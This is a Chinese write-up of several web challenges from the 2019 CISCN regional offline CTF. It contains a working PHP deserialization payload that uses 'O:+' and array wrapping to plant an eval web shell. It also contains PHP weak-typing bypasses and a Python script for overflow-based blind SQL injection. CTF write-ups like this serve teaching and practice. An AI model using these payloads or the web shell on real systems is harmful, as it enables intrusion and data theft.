2019CISCN华中赛区线下赛部分wp

最近想起来要复现一下题目,顺便写一下解题思路

WEB1

这道题主要绕过点在:

1
2
3
4
5
6
7
$format = '/O:\d:/';
$flag = true;
$flag = $flag && substr($data, 0, 2) !== 'O:';
$flag = $flag && (!preg_match($format, $data));
if ($flag){
return unserialize($data);
}

如果传入的数据不以O:开头,且数据中没有出现O:数字,即一般类的序列化字符串形式,则会进行反序列化

接着是个写入文件的操作,在脚本执行完毕会自动执行:

1
2
3
4
5
6
7
8
9
10
11
public function createLog($filename=null, $content=null) {
if ($this->log_ != null)
$filename = $this->log_;
if ($this->content != null)
$content = $this->content;
file_put_contents($filename, $content);
}

public function __destruct() {
$this->createLog();
}

这里用到了两个tricks:

1.对象的数组形式序列化

由于检测传入字符串的开头部分是否是O:,那么可以在序列化前将对象放入数组中,从而绕过检测,并且反序列数组时会正常反序列化对象。测试如下:

2.使用O:+绕过正则匹配

PHP中处理反序列化的部分源码:

yych = *YYCURSOR;
    switch (yych) {
    case 'C':
    case 'O':    goto yy13;
    case 'N':    goto yy5;
    case 'R':    goto yy2;
    case 'S':    goto yy10;
    case 'a':    goto yy11;
    case 'b':    goto yy6;
    case 'd':    goto yy8;
    case 'i':    goto yy7;
    case 'o':    goto yy12;
    case 'r':    goto yy4;
    case 's':    goto yy9;
    case '}':    goto yy14;
    default:    goto yy16;
}
yy3:
#line 812 "ext/standard/var_unserializer.re"
    { return 0; }
#line 523 "ext/standard/var_unserializer.c"

yy13:
    yych = *(YYMARKER = ++YYCURSOR);
    if (yych == ':') goto yy17;
goto yy3;

yy17:
    yych = *++YYCURSOR;
    if (yybm[0+yych] & 128) {
        goto yy20;
    }
    if (yych == '+') goto yy19;
yy18:
    YYCURSOR = YYMARKER;
    goto yy3;
yy19:
    yych = *++YYCURSOR;
    if (yybm[0+yych] & 128) {
        goto yy20;
    }
    goto yy18;
yy20:
    ++YYCURSOR;
    if ((YYLIMIT - YYCURSOR) < 2) YYFILL(2);
    yych = *YYCURSOR;
    if (yybm[0+yych] & 128) {
        goto yy20;
    }
    if (yych != ':') goto yy18;
    yych = *++YYCURSOR;
    if (yych != '"') goto yy18;
++YYCURSOR;

流程为:首先判断首位字符,如果为O,则调用yy13,yy13会对O的下一个字符进行判断,如果为:则调用yy17,否则调用yy3退出反序列化;在yy17中先判断:字符后的字符是否为数字,是的话会跳转到yy20开始反序列化,否则如果是+,则跳转到yy19,yy19会对+后的一个字符再进行判断,如果是数字则跳转到yy20,否则跳转到yy18结束反序列化

因此,构造payload:

1
2
3
4
5
6
7
8
9
<?php
class BlogLog {
public $log_ = './abc.php';
public $content = '<?php @eval($_POST["password"]);?>';
}

$a = new BlogLog();
$a = array($a);
echo serialize($a);

得到:

a:1:{i:0;O:7:"BlogLog":2:{s:4:"log_";s:9:"./abc.php";s:7:"content";s:34:"<?php @eval($_POST["password"]);?>";}}

之后在O:后加上+,则最终payload:

a:1:{i:0;O:+7:"BlogLog":2:{s:4:"log_";s:9:"./abc.php";s:7:"content";s:34:"<?php @eval($_POST["password"]);?>";}}

传入后,此时目录便会多了个abc.php,连上去找到flag即可~

WEB5

第一关考察php弱类型:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
<?php

include "secret.php";

error_reporting(0);

if(empty($_GET))
{
highlight_file(__FILE__);
die("get get get get args");
}
$a1=$_GET['a1'];
$a2=$_GET['a2'];
$a3=$_GET['a3'];
$a4=$_GET['a4'];
$obstacle_1=is_numeric($a2) and is_numeric($a1);
if(!$obstacle_1) exit("foolish");

if(!(intval($a2)<1024 and intval($a2+1)>1024)) exit("emmmmm");

if(isset($a1))
{
$secret=hash_hmac('sha256',$a1,$secret);
}
$hmac=hash_hmac(sha256,$a2,$secret);

echo $hmac;

if($a3!==$hmac)
{

die("OMG");
}

echo "gogogo ".$url;

?>

主要是利用:

1.is_numeric用两个and连接起来,第二个判断会失效
2.使用浮点数绕过intval判断
3.hash_hmac不能处理数组,从而可以使$secret变成固定的值来绕过判断

第二关是一个输入框页面,输入符合sql语法的查询会将输入的输出:

输入不符合sql语法的查询显示数据库操作异常

输入if and or | case等关键词,会被替换掉:

既然or被过滤了,那么便不能从information_schema数据库中获取表名和字段名信息了,字段名信息可以通过union重新命名字段名这一技巧来绕过,表名只能靠猜了,根据页面的文章查询,可以猜测出表名为article-_-不要问我怎么猜出来的,我有源码~

由于ifcase也被过滤了,那么一般的sleep盲注就不能用了,这里可以使用溢出盲注:

mysql> select pow(999,999);
ERROR 1690 (22003): DOUBLE value is out of range in 'pow(999,999)'

mysql> select 1 and 1=1 and pow(999,999);
ERROR 1690 (22003): DOUBLE value is out of range in 'pow(999,999)'

mysql> select 1 and 1=0 and pow(999,999);
+----------------------------+
| 1 and 1=0 and pow(999,999) |
+----------------------------+
|                          0 |
+----------------------------+
1 row in set (0.00 sec)

脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
import requests
import string

flags = string.ascii_lowercase+string.digits+string.punctuation

url = 'http://127.0.0.1/ciscn/web5/xinqingfuza2019qwieasjkdnzx.php'

for index in range(40):
for value in flags:

payload = "1'&& '{}'=mid((select group_concat(`3`) from (select 1,2,3 union select * from article)a), {}, 1) && pow(999,999)#".format(value, index)
data = {'usr':payload}

res = requests.post(url, data).text
if '数据库操作异常' in res:
print(value, end='')